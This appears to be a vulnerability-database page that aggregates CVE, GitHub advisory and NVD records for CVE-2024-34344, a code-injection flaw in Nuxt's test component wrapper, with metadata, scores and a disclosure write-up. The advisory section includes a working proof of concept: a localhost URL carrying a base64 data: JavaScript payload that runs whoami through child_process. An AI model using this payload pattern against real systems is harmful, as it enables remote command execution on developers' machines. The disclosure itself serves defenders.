Vulnerability-Lookup

CVE-2024-34344 (GCVE-0-2024-34344)

Vulnerability from cvelistv5 – Published: 2024-08-05 20:36 – Updated: 2024-08-12 19:50

Title

Remote code execution via the browser when running the test locally in nuxt

Summary

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Due to the insufficient validation of the `path` parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands. Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

URL

Tags

https://github.com/nuxt/nuxt/security/advisories/…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	nuxt	nuxt	Affected: >= 3.4.0 < 3.12.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:nuxt:nuxt:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "nuxt",
            "vendor": "nuxt",
            "versions": [
              {
                "lessThan": "3.12.4",
                "status": "affected",
                "version": "3.4.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-34344",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-05T20:43:19.664529Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-12T19:50:45.928Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nuxt",
          "vendor": "nuxt",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.4.0 \u003c 3.12.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Due to the insufficient validation of the `path` parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands. Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-08-05T20:36:20.878Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4"
        }
      ],
      "source": {
        "advisory": "GHSA-v784-fjjh-f8r4",
        "discovery": "UNKNOWN"
      },
      "title": "Remote code execution via the browser when running the test locally in nuxt"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-34344",
    "datePublished": "2024-08-05T20:36:20.878Z",
    "dateReserved": "2024-05-02T06:36:32.437Z",
    "dateUpdated": "2024-08-12T19:50:45.928Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2024-34344\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-08-05T20:43:19.664529Z\"}}}], \"affected\": [{\"cpes\": [\"cpe:2.3:a:nuxt:nuxt:*:*:*:*:*:*:*:*\"], \"vendor\": \"nuxt\", \"product\": \"nuxt\", \"versions\": [{\"status\": \"affected\", \"version\": \"3.4.0\", \"lessThan\": \"3.12.4\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-08-05T20:45:01.222Z\"}}], \"cna\": {\"title\": \"Remote code execution via the browser when running the test locally in nuxt\", \"source\": {\"advisory\": \"GHSA-v784-fjjh-f8r4\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"nuxt\", \"product\": \"nuxt\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 3.4.0 \u003c 3.12.4\"}]}], \"references\": [{\"url\": \"https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4\", \"name\": \"https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Due to the insufficient validation of the `path` parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands. Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-94\", \"description\": \"CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2024-08-05T20:36:20.878Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2024-34344\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2024-08-12T19:50:45.928Z\", \"dateReserved\": \"2024-05-02T06:36:32.437Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2024-08-05T20:36:20.878Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

GHSA-V784-FJJH-F8R4

Vulnerability from github – Published: 2024-08-05 19:49 – Updated: 2024-11-18 16:27

Summary

Nuxt vulnerable to remote code execution via the browser when running the test locally

Details

Summary

Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.

Details

While running the test, a special component named NuxtTestComponentWrapper is available. https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43

This component loads the specified path as a component and renders it.

https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27

There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.

https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19

Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function. For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.

By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:

data:text/javascript;base64,Y29uc29sZS5sb2coMSk

Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.

PoC

Create a nuxt project and run it in the test mode:

npx nuxi@latest init test
cd test
TEST=true npm run dev

Open the following URL:

http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk

Confirm that the output of whoami is written to /tmp/test

Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4

Impact

Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.12.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34344"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-706",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-05T19:49:45Z",
    "nvd_published_at": "2024-08-05T21:15:38Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nDue to the insufficient validation of the `path` parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.\n\n### Details\nWhile running the test, a special component named `NuxtTestComponentWrapper` is available.\nhttps://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43\n\nThis component loads the specified path as a component and renders it.\n\nhttps://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27\n\nThere is a validation for the `path` parameter to check whether the path traversal is performed, but this check is not sufficient.\n\nhttps://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19\n\nSince `import(...)` uses `query.path` instead of the normalized `path`, a non-normalized URL can reach the `import(...)` function.\nFor example, passing something like `./components/test` normalizes `path` to `/root/directory/components/test`, but `import(...)` still receives `./components/test`.\n\nBy using this behavior, it\u0027s possible to load arbitrary JavaScript by using the path like the following:\n```\ndata:text/javascript;base64,Y29uc29sZS5sb2coMSk\n```\n\nSince `resolve(...)` resolves the filesystem path, not the URI, the above URI is treated as a relative path, but `import(...)` sees it as an absolute URI, and loads it as a JavaScript.\n\n### PoC\n1. Create a nuxt project and run it in the test mode:\n```\nnpx nuxi@latest init test\ncd test\nTEST=true npm run dev\n```\n2. Open the following URL:\n```\nhttp://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk\n```\n3. Confirm that the output of `whoami` is written to `/tmp/test`\n\nDemonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4\n\n### Impact\nUsers who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page.\nSince web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.",
  "id": "GHSA-v784-fjjh-f8r4",
  "modified": "2024-11-18T16:27:00Z",
  "published": "2024-08-05T19:49:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34344"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt vulnerable to remote code execution via the browser when running the test locally"
}

FKIE_CVE-2024-34344

Vulnerability from fkie_nvd - Published: 2024-08-05 21:15 - Updated: 2024-09-19 20:58

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4	Third Party Advisory

Impacted products

	Vendor	Product	Version
	nuxt	nuxt	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nuxt:nuxt:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "2260958F-B727-4B00-8835-29448E791AF6",
              "versionEndExcluding": "3.12.4",
              "versionStartIncluding": "3.4.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Due to the insufficient validation of the `path` parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands. Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts."
    },
    {
      "lang": "es",
      "value": "Nuxt es un framework gratuito y de c\u00f3digo abierto para crear sitios web y aplicaciones web completos con Vue.js. Debido a la validaci\u00f3n insuficiente del par\u00e1metro `path` en NuxtTestComponentWrapper, un atacante puede ejecutar JavaScript arbitrario en el lado del servidor, lo que le permite ejecutar comandos arbitrarios. Los usuarios que abren una p\u00e1gina web maliciosa en el navegador mientras ejecutan la prueba localmente se ven afectados por esta vulnerabilidad, que resulta en la ejecuci\u00f3n remota de c\u00f3digo desde la p\u00e1gina web maliciosa. Dado que las p\u00e1ginas web pueden enviar solicitudes a direcciones arbitrarias, una p\u00e1gina web maliciosa puede intentar explotar esta vulnerabilidad repetidamente, lo que luego activa la vulnerabilidad cuando se inicia el servidor de prueba."
    }
  ],
  "id": "CVE-2024-34344",
  "lastModified": "2024-09-19T20:58:01.827",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2024-08-05T21:15:38.457",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2024-34344 (GCVE-0-2024-34344)

GHSA-V784-FJJH-F8R4

Summary

Details

PoC

Impact

FKIE_CVE-2024-34344

Tags

Sightings

Nomenclature